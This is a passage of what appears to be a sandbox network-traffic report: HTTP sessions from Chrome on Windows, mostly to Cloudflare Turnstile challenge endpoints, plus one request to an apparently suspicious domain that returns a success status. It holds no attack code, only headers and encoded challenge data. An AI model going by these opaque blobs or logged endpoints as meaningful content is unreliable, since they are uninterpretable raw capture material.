2024-05-07 14:12:17 UTC	1369	IN	Data Raw: 43 51 4c 68 41 74 66 35 79 2f 4c 71 46 51 6e 76 42 78 6f 50 43 39 67 59 45 67 30 61 43 2b 73 68 48 67 2f 76 4a 53 49 54 38 79 6b 6d 46 2f 63 74 4b 68 76 37 4d 53 34 66 41 44 55 79 49 77 51 35 4e 69 63 49 50 54 6f 72 44 45 45 2b 4c 78 42 46 51 6a 4d 55 53 55 59 33 47 45 31 4b 4f 78 78 52 54 6a 38 67 56 56 4a 44 4a 42 4d 57 45 79 30 71 4c 46 63 78 4c 56 39 50 51 6d 52 56 4e 6b 67 36 56 79 4d 70 51 57 74 47 52 69 70 46 51 6e 5a 4a 54 58 55 36 62 6a 51 33 52 30 64 4e 63 7a 52 55 56 31 6c 39 56 56 78 78 5a 6e 39 33 54 56 74 74 62 33 4b 4b 66 58 36 55 58 34 4a 6b 68 48 64 31 56 59 78 75 57 70 42 67 66 5a 36 55 64 49 4b 45 71 57 61 4b 5a 59 69 74 67 36 70 39 67 59 57 54 6c 4b 79 53 6a 5a 57 32 68 61 31 30 73 4a 57 5a 6e 6e 32 59 65 35 43 68 74 4a 2b 51 66 37 36 Data Ascii: CQLhAtf5y/LqFQnvBxoPC9gYEg0aC+shHg/vJSIT8ykmF/ctKhv7MS4fADUyIwQ5NicIPTorDEE+LxBFQjMUSUY3GE1KOxxRTj8gVVJDJBMWEy0qLFcxLV9PQmRVNkg6VyMpQWtGRipFQnZJTXU6bjQ3R0dNczRUV1l9VVxxZn93TVttb3KKfX6UX4JkhHd1VYxuWpBgfZ6UdIKEqWaKZYitg6p9gYWTlKySjZW2ha10sJWZnn2Ye5ChtJ+Qf76

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49729	104.17.2.184	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:21 UTC	486	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/169092501:1715087394:BARsn763lEtPIs7yuOhseVgGcpRzXErFIt9Om1KqmSI/8801cdc8cadc8c54/eecdc0808b453da HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:21 UTC	377	IN	HTTP/1.1 400 Bad Request Date: Tue, 07 May 2024 14:12:21 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: jeZLlSa3drqusfhS0qVmAA==$6dMf7jawbGeaiAH//g9rDw== Server: cloudflare CF-RAY: 8801cdefce76439a-EWR alt-svc: h3=":443"; ma=86400
2024-05-07 14:12:21 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49730	104.17.3.184	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:21 UTC	775	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8801cdc8cadc8c54/1715091136927/4lVIDFE6iybK3L- HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/1rmcj/0x4AAAAAAAZfbKRA3uD3to0K/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:21 UTC	200	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:21 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8801cdefcf2742bc-EWR alt-svc: h3=":443"; ma=86400
2024-05-07 14:12:21 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 0d 00 00 00 2c 08 02 00 00 00 31 79 a5 b8 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR,1yIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	49731	163.5.112.235	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:23 UTC	500	OUT	GET /dashboard/wlqo HTTP/1.1 Host: inroleet.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:25 UTC	241	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:23 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 X-Powered-By: PHP/8.1.25 Access-Control-Allow-Origin: * Content-Length: 20 Connection: close Content-Type: application/json
2024-05-07 14:12:25 UTC	20	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 7d Data Ascii: {"status":"success"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	49732	104.17.3.184	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:23 UTC	804	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/8801cdc8cadc8c54/1715091136934/92ce955c7fb6e856bd3f908a359ad50eec582161676d9558aed188f2110b5d1c/BmkAOk67Gyt5m5E HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/1rmcj/0x4AAAAAAAZfbKRA3uD3to0K/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:23 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Tue, 07 May 2024 14:12:23 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 1 Connection: close
2024-05-07 14:12:23 UTC	1382	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 6b 73 36 56 58 48 2d 32 36 46 61 39 50 35 43 4b 4e 5a 72 56 44 75 78 59 49 57 46 6e 62 5a 56 59 72 74 47 49 38 68 45 4c 58 52 77 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gks6VXH-26Fa9P5CKNZrVDuxYIWFnbZVYrtGI8hELXRwAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-05-07 14:12:23 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.8	49734	104.17.2.184	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:23 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8801cdc8cadc8c54/1715091136927/4lVIDFE6iybK3L- HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:23 UTC	200	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:23 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8801ce016c9d43c7-EWR alt-svc: h3=":443"; ma=86400
2024-05-07 14:12:23 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 0d 00 00 00 2c 08 02 00 00 00 31 79 a5 b8 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR,1yIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.8	49735	104.17.3.184	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:24 UTC	916	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/169092501:1715087394:BARsn763lEtPIs7yuOhseVgGcpRzXErFIt9Om1KqmSI/8801cdc8cadc8c54/eecdc0808b453da HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 31333 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: eecdc0808b453da sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/1rmcj/0x4AAAAAAAZfbKRA3uD3to0K/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:24 UTC	16384	OUT	Data Raw: 76 5f 38 38 30 31 63 64 63 38 63 61 64 63 38 63 35 34 3d 6b 54 41 48 52 6c 79 4b 5a 79 54 41 5a 6c 38 4d 6a 79 30 75 52 48 70 47 47 75 50 48 79 24 75 33 75 52 75 6a 37 58 69 79 6b 58 75 6b 37 79 4b 75 50 75 4c 4e 75 79 5a 37 75 6d 75 50 24 50 71 75 53 6c 6a 6c 75 6c 44 75 33 24 4d 34 56 69 75 69 51 75 73 48 58 36 75 37 48 4d 70 51 36 48 62 54 79 45 75 76 41 75 56 75 58 41 79 68 62 75 76 74 75 2d 75 75 54 68 75 6c 24 73 47 75 51 51 42 48 74 68 75 73 37 4d 32 75 2d 37 70 64 37 66 62 75 50 55 37 4f 4e 69 75 34 24 46 42 62 55 36 63 69 73 6c 64 75 6c 4b 75 31 53 36 41 49 73 52 54 48 75 36 64 62 37 55 56 39 36 36 6d 30 52 47 75 44 55 43 34 58 69 36 38 75 69 71 6b 69 64 24 43 75 4d 6b 65 51 64 69 38 6f 48 2d 47 55 5a 5a 62 65 63 69 62 79 49 42 39 4a 71 62 64 33 Data Ascii: v_8801cdc8cadc8c54=kTAHRlyKZyTAZl8Mjy0uRHpGGuPHy$u3uRuj7XiykXuk7yKuPuLNuyZ7umuP$PquSljlulDu3$M4ViuiQusHX6u7HMpQ6HbTyEuvAuVuXAyhbuvtu-uuThul$sGuQQBHthus7M2u-7pd7fbuPU7ONiu4$FBbU6cisldulKu1S6AIsRTHu6db7UV966m0RGuDUC4Xi68uiqkid$CuMkeQdi8oH-GUZZbecibyIB9Jqbd3
2024-05-07 14:12:24 UTC	14949	OUT	Data Raw: 69 41 48 41 4a 61 67 35 6f 75 35 75 37 75 38 75 70 75 34 48 4d 52 6c 54 79 52 75 6a 75 53 36 6c 55 75 56 37 34 75 6c 34 79 4f 75 39 33 50 74 75 32 4f 58 48 58 54 79 51 75 70 42 6c 36 75 4d 75 4d 75 76 71 79 33 75 57 75 79 48 75 56 37 34 37 6c 32 36 69 75 62 41 58 36 79 77 75 30 75 4d 41 75 6b 75 30 68 79 41 75 54 75 31 41 4d 41 75 6a 75 44 5a 4d 55 75 6c 75 71 47 47 37 79 68 75 6b 75 6c 6a 75 56 75 4f 48 4d 4b 79 4f 24 53 36 6c 69 75 56 37 71 49 6c 6f 79 52 75 6b 24 69 74 79 50 75 75 75 79 66 6f 48 31 41 69 76 75 36 75 33 35 48 37 75 44 75 44 64 58 71 75 74 75 30 68 50 5a 79 46 75 30 37 58 55 75 52 24 62 55 4d 75 79 36 41 42 24 76 51 75 58 75 73 24 6c 50 5a 37 48 2d 37 79 4b 75 55 75 41 38 79 75 75 57 75 58 37 79 41 75 47 48 4d 24 50 66 4e 61 24 44 6c 48 Data Ascii: iAHAJag5ou5u7u8upu4HMRlTyRujuS6lUuV74ul4yOu93Ptu2OXHXTyQupBl6uMuMuvqy3uWuyHuV747l26iubAX6ywu0uMAuku0hyAuTu1AMAujuDZMUuluqGG7yhukuljuVuOHMKyO$S6liuV7qIloyRuk$ityPuuuyfoH1Aivu6u35H7uDuDdXqutu0hPZyFu07XUuR$bUMuy6AB$vQuXus$lPZ7H-7yKuUuA8yuuWuX7yAuGHM$PfNa$DlH
2024-05-07 14:12:24 UTC	350	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:24 GMT Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-chl-gen: Cs+A3d9771aOrs2msgRjBMxbzKQc/j1cVXHKBjNCf8S5wq48gvfVzNJMDekhu12U$yzcNwJhnZfYyG6ZIM6t8wQ== vary: accept-encoding Server: cloudflare CF-RAY: 8801ce0628930f4f-EWR alt-svc: h3=":443"; ma=86400
2024-05-07 14:12:24 UTC	788	IN	Data Raw: 33 30 64 0d 0a 6c 4a 32 6c 68 36 6d 42 70 37 32 49 75 37 32 37 6b 70 79 6e 6a 72 36 32 79 49 75 4d 32 4d 69 50 6b 4e 79 76 33 4e 2f 66 6f 74 79 69 76 37 4c 41 73 75 72 47 31 75 53 71 75 71 72 76 35 2b 72 32 37 4f 44 59 39 38 6e 57 31 4e 6a 64 36 65 37 68 38 72 37 44 77 4e 4c 66 2b 74 62 67 31 77 62 39 44 2b 77 45 34 73 73 4f 37 2f 4c 57 41 75 4c 59 47 75 37 61 2b 64 62 36 36 65 76 5a 34 76 30 6c 42 76 59 63 41 2f 62 2b 4a 66 76 36 43 42 7a 78 49 51 54 74 2f 53 4d 44 39 69 50 7a 47 43 77 4a 46 76 67 34 4b 78 73 35 4d 42 41 65 4f 69 6b 4a 4b 44 38 34 51 69 59 73 50 78 45 77 52 51 30 31 4d 45 74 4d 4b 44 51 61 4c 7a 6b 70 4f 56 6b 30 55 6b 52 68 50 6c 67 6b 55 55 4a 65 4a 7a 55 6d 4a 55 73 6f 4d 55 30 6d 56 48 56 56 55 6d 30 79 55 44 52 56 56 6d 35 6f 4f 46 Data Ascii: 30dlJ2lh6mBp72Iu727kpynjr62yIuM2MiPkNyv3N/fotyiv7LAsurG1uSquqrv5+r27ODY98nW1Njd6e7h8r7DwNLf+tbg1wb9D+wE4ssO7/LWAuLYGu7a+db66evZ4v0lBvYcA/b+Jfv6CBzxIQTt/SMD9iPzGCwJFvg4Kxs5MBAeOikJKD84QiYsPxEwRQ01MEtMKDQaLzkpOVk0UkRhPlgkUUJeJzUmJUsoMU0mVHVVUm0yUDRVVm5oOF
2024-05-07 14:12:24 UTC	1369	IN	Data Raw: 31 63 31 31 0d 0a 4e 44 63 43 77 51 43 44 76 4d 52 44 66 66 33 31 4e 7a 35 33 53 45 68 42 52 6a 67 38 76 54 32 4b 50 4c 35 43 77 76 35 47 78 73 54 49 50 41 6a 42 53 44 77 4b 7a 6f 33 4d 6a 6f 73 4c 78 4c 36 49 54 67 2b 4e 68 59 58 46 69 6f 44 41 51 64 42 51 43 6f 61 52 79 77 4d 43 77 34 67 46 42 45 53 46 69 38 38 53 46 49 71 57 46 41 2b 4d 6a 6b 35 56 32 46 69 52 30 68 4b 4b 54 73 6c 51 79 6c 42 51 46 51 7a 4b 30 74 4c 4c 6d 31 57 57 6d 51 36 62 6b 6c 33 4d 34 4e 4e 50 32 39 5a 64 59 6c 30 63 6f 6c 46 69 6e 79 41 61 33 32 47 68 6d 52 6b 5a 57 39 70 61 58 4e 59 6e 57 79 47 61 56 64 32 62 46 70 64 65 4b 57 6c 59 32 6d 59 5a 48 6c 73 69 58 39 38 6b 61 35 76 71 48 32 33 6a 61 69 4a 72 59 36 45 70 35 4b 62 6b 59 74 35 6d 37 35 2b 68 70 4f 6a 6e 35 4c 46 6e 62 Data Ascii: 1c11NDcCwQCDvMRDff31Nz53SEhBRjg8vT2KPL5Cwv5GxsTIPAjBSDwKzo3MjosLxL6ITg+NhYXFioDAQdBQCoaRywMCw4gFBESFi88SFIqWFA+Mjk5V2FiR0hKKTslQylBQFQzK0tLLm1WWmQ6bkl3M4NNP29ZdYl0colFinyAa32GhmRkZW9paXNYnWyGaVd2bFpdeKWlY2mYZHlsiX98ka5vqH23jaiJrY6Ep5KbkYt5m75+hpOjn5LFnb
2024-05-07 14:12:24 UTC	1369	IN	Data Raw: 35 77 73 47 45 67 4c 33 42 68 77 47 2b 77 44 63 41 74 76 7a 48 67 34 41 42 64 37 68 2b 67 51 74 39 78 34 45 2f 53 45 6f 46 42 37 78 46 7a 59 45 4e 44 4c 7a 2b 6a 49 53 50 66 34 2f 50 54 63 73 2b 69 45 51 47 41 41 4a 4a 45 51 70 48 42 68 4d 48 46 41 4e 53 30 52 51 52 52 55 35 54 42 4d 30 4f 56 4d 76 4f 52 78 61 56 54 74 59 4e 32 5a 70 55 69 4a 41 4e 57 4e 57 62 6d 68 48 4b 6a 31 50 53 33 41 75 52 6d 74 6d 62 7a 6c 56 56 33 31 74 56 6b 42 67 55 6c 79 47 51 46 35 53 65 59 4e 61 66 46 2b 4c 59 49 56 4f 58 57 61 52 6a 5a 4e 34 6a 46 57 58 64 6f 32 59 6b 46 4b 42 6b 61 52 35 59 33 4b 6f 6c 70 32 53 68 35 69 46 65 5a 65 71 61 47 75 77 62 6f 4f 46 63 49 70 7a 65 61 61 63 75 61 69 4e 64 37 6d 39 77 72 32 55 73 35 69 30 70 73 44 42 71 61 69 4b 71 36 53 50 6e 62 2f Data Ascii: 5wsGEgL3BhwG+wDcAtvzHg4ABd7h+gQt9x4E/SEoFB7xFzYENDLz+jISPf4/PTcs+iEQGAAJJEQpHBhMHFANS0RQRRU5TBM0OVMvORxaVTtYN2ZpUiJANWNWbmhHKj1PS3AuRmtmbzlVV31tVkBgUlyGQF5SeYNafF+LYIVOXWaRjZN4jFWXdo2YkFKBkaR5Y3Kolp2Sh5iFeZeqaGuwboOFcIpzeaacuaiNd7m9wr2Us5i0psDBqaiKq6SPnb/
2024-05-07 14:12:24 UTC	1369	IN	Data Raw: 77 30 46 30 2b 6b 58 38 4f 76 2b 45 76 63 66 47 41 63 57 43 43 48 33 39 79 34 42 4a 43 63 76 4b 68 30 42 43 42 63 6a 4b 76 41 44 2b 79 6b 66 4d 78 6f 62 49 76 54 31 48 69 45 76 4e 68 55 46 52 45 78 44 4b 30 55 4b 4a 68 34 7a 45 54 59 72 4a 31 4d 79 56 45 38 56 52 52 35 4b 51 44 67 33 5a 43 38 65 55 6c 41 66 58 54 55 35 56 44 56 63 51 55 31 66 61 45 56 52 59 30 55 7a 4c 6d 78 4c 64 30 56 71 64 58 74 5a 4f 54 35 52 59 58 68 56 52 48 46 38 57 54 31 6e 65 6f 57 4c 62 59 52 6c 6c 47 4f 4e 53 49 46 67 65 48 64 6d 6a 32 39 34 61 33 56 36 57 47 4f 66 6b 34 61 43 59 48 71 48 69 6e 6d 48 62 70 2b 5a 5a 33 32 42 6c 58 32 6c 6c 58 61 6e 6f 34 6d 70 75 72 66 41 6d 72 71 76 6c 34 32 6a 6f 35 43 6f 66 36 4b 72 6f 49 65 32 72 36 6a 46 6b 6f 72 55 71 4a 4b 4a 6f 35 53 74 Data Ascii: w0F0+kX8Ov+EvcfGAcWCCH39y4BJCcvKh0BCBcjKvAD+ykfMxobIvT1HiEvNhUFRExDK0UKJh4zETYrJ1MyVE8VRR5KQDg3ZC8eUlAfXTU5VDVcQU1faEVRY0UzLmxLd0VqdXtZOT5RYXhVRHF8WT1neoWLbYRllGONSIFgeHdmj294a3V6WGOfk4aCYHqHinmHbp+ZZ32BlX2llXano4mpurfAmrqvl42jo5Cof6KroIe2r6jFkorUqJKJo5St
2024-05-07 14:12:24 UTC	1369	IN	Data Raw: 72 2b 38 52 66 75 47 74 2f 30 43 79 44 69 36 53 4c 39 35 65 7a 70 36 66 30 6d 2f 51 49 6c 4d 51 76 77 44 67 6f 4f 4f 6a 67 78 50 67 4c 39 4c 79 59 77 52 42 6b 79 42 53 73 58 43 69 68 43 52 6b 4a 41 4c 53 4a 58 53 46 59 6d 57 46 49 58 4e 52 42 67 56 56 67 2b 54 6a 4a 56 59 55 45 6d 4b 55 4a 4d 61 31 63 6d 50 58 42 70 4d 6d 56 41 61 6c 4a 50 4e 30 6b 30 64 30 31 75 4e 6d 78 5a 65 33 6d 42 65 49 5a 47 65 46 79 46 66 6d 5a 48 65 32 35 47 57 6b 79 52 6a 6f 43 4e 61 31 4f 47 63 32 75 46 62 31 4f 4a 61 31 4b 4d 6d 71 46 63 65 46 79 41 6f 6e 52 2f 68 49 4f 48 6a 6e 70 6f 67 71 70 77 6f 6f 53 51 72 61 6d 49 75 72 6d 57 6a 72 36 35 73 5a 4f 64 6c 38 53 7a 74 4c 44 41 68 35 53 39 71 63 61 70 76 4a 2f 4a 75 36 53 4e 78 38 75 4e 31 4c 6e 55 31 4c 57 70 6e 62 72 58 32 Data Ascii: r+8RfuGt/0CyDi6SL95ezp6f0m/QIlMQvwDgoOOjgxPgL9LyYwRBkyBSsXCihCRkJALSJXSFYmWFIXNRBgVVg+TjJVYUEmKUJMa1cmPXBpMmVAalJPN0k0d01uNmxZe3mBeIZGeFyFfmZHe25GWkyRjoCNa1OGc2uFb1OJa1KMmqFceFyAonR/hIOHjnpogqpwooSQramIurmWjr65sZOdl8SztLDAh5S9qcapvJ/Ju6SNx8uN1LnU1LWpnbrX2
2024-05-07 14:12:24 UTC	1369	IN	Data Raw: 69 35 42 2f 69 49 51 45 4a 45 42 34 71 4c 7a 41 6b 48 77 45 6a 4d 50 55 59 37 53 77 32 4a 77 38 36 2f 50 73 37 50 68 63 37 4f 6b 42 43 4f 30 63 36 43 54 63 69 50 68 41 30 43 6b 30 6e 4a 55 56 49 4c 54 6c 54 56 45 5a 66 50 6c 59 64 50 55 39 58 4f 55 38 38 58 6d 42 4a 5a 56 31 6c 58 7a 35 49 62 46 42 4a 50 6a 46 33 56 47 74 4e 4c 56 5a 75 55 54 46 57 63 31 4b 44 58 6e 64 58 56 57 47 47 53 56 55 2b 67 46 39 68 62 59 4a 79 6c 46 79 53 56 57 46 7a 6c 6c 5a 36 5a 34 2b 56 63 58 6d 53 59 58 6c 35 6f 34 64 36 63 36 5a 6d 69 59 57 72 61 6f 32 4b 72 34 4e 39 6b 4c 4b 74 69 5a 43 71 64 70 56 37 72 70 46 38 6d 62 2b 57 6d 6f 2f 43 6c 6f 53 66 78 35 33 4a 67 38 79 61 6a 36 47 4f 79 35 47 76 31 4e 54 4c 71 74 65 35 72 64 48 61 33 39 37 49 34 71 4b 79 77 5a 36 77 77 38 Data Ascii: i5B/iIQEJEB4qLzAkHwEjMPUY7Sw2Jw86/Ps7Phc7OkBCO0c6CTciPhA0Ck0nJUVILTlTVEZfPlYdPU9XOU88XmBJZV1lXz5IbFBJPjF3VGtNLVZuUTFWc1KDXndXVWGGSVU+gF9hbYJylFySVWFzllZ6Z4+VcXmSYXl5o4d6c6ZmiYWrao2Kr4N9kLKtiZCqdpV7rpF8mb+Wmo/CloSfx53Jg8yaj6GOy5Gv1NTLqte5rdHa397I4qKywZ6ww8
2024-05-07 14:12:24 UTC	348	IN	Data Raw: 2b 7a 41 64 4a 75 6b 7a 49 41 59 4a 37 79 51 61 43 69 76 38 4b 41 30 2b 41 51 45 61 2b 77 45 38 48 45 64 43 4a 52 38 38 4c 67 77 70 52 53 63 68 4e 55 51 33 49 54 4a 55 4b 67 30 36 54 45 63 35 4f 46 55 65 58 44 74 6b 59 45 55 65 49 46 4d 64 4e 32 31 59 53 6c 46 65 4d 54 46 4b 59 32 78 56 59 47 6b 31 63 30 6c 76 61 57 74 52 62 33 77 31 55 6f 61 42 58 57 6c 35 67 56 6c 6f 66 55 6c 4d 61 49 4e 38 52 57 65 57 69 35 64 35 69 32 70 36 63 34 31 2f 68 32 31 5a 58 5a 68 75 58 6e 75 59 67 35 6c 2b 66 6e 75 71 66 71 42 37 6f 58 4b 42 6a 36 6d 74 68 5a 69 70 64 58 47 52 76 58 79 2f 6b 4d 4b 57 78 4a 71 31 73 4d 69 53 67 70 36 34 6d 73 79 34 71 71 50 52 7a 4d 69 6b 30 70 53 55 74 73 79 37 74 63 58 52 31 64 54 41 6d 4d 4f 39 75 39 6a 63 78 61 48 5a 71 61 47 36 37 65 6d Data Ascii: +zAdJukzIAYJ7yQaCiv8KA0+AQEa+wE8HEdCJR88LgwpRSchNUQ3ITJUKg06TEc5OFUeXDtkYEUeIFMdN21YSlFeMTFKY2xVYGk1c0lvaWtRb3w1UoaBXWl5gVlofUlMaIN8RWeWi5d5i2p6c41/h21ZXZhuXnuYg5l+fnuqfqB7oXKBj6mthZipdXGRvXy/kMKWxJq1sMiSgp64msy4qqPRzMik0pSUtsy7tcXR1dTAmMO9u9jcxaHZqaG67em
2024-05-07 14:12:24 UTC	1369	IN	Data Raw: 65 38 38 0d 0a 6b 44 4e 6a 49 48 43 7a 6f 6d 4d 42 41 7a 44 7a 45 4b 51 43 30 6a 48 6b 5a 42 4f 44 6c 49 4e 52 6f 44 54 7a 6b 47 48 51 6c 4a 52 54 31 57 46 68 59 76 56 79 73 36 52 55 34 61 57 43 35 55 54 6c 41 32 56 47 45 61 53 6c 70 69 4f 6b 6c 65 4b 69 31 4a 5a 46 30 30 4e 53 30 31 59 55 39 6e 53 33 42 62 62 57 70 73 4f 59 42 36 68 56 4f 46 67 58 46 61 69 56 2b 46 57 6f 35 4f 66 45 64 4a 55 6e 78 4c 6b 35 42 57 62 4a 70 61 6a 58 43 65 58 6f 6c 38 6f 58 65 52 65 4b 4f 68 67 33 61 70 66 36 6c 39 72 61 71 48 66 61 2b 74 6b 34 4f 31 64 71 52 72 75 72 57 74 69 58 56 39 66 70 4c 42 76 49 46 37 78 70 75 78 6d 73 6d 67 6f 35 76 4f 79 62 79 48 7a 38 33 46 70 4e 50 51 6c 71 57 52 6d 72 75 77 33 74 6d 37 73 75 47 33 33 62 58 6d 70 5a 37 45 36 64 53 69 76 65 32 75 Data Ascii: e88kDNjIHCzomMBAzDzEKQC0jHkZBODlINRoDTzkGHQlJRT1WFhYvVys6RU4aWC5UTlA2VGEaSlpiOkleKi1JZF00NS01YU9nS3BbbWpsOYB6hVOFgXFaiV+FWo5OfEdJUnxLk5BWbJpajXCeXol8oXeReKOhg3apf6l9raqHfa+tk4O1dqRrurWtiXV9fpLBvIF7xpuxmsmgo5vOybyHz83FpNPQlqWRmruw3tm7suG33bXmpZ7E6dSive2u

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.8	49738	104.17.2.184	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
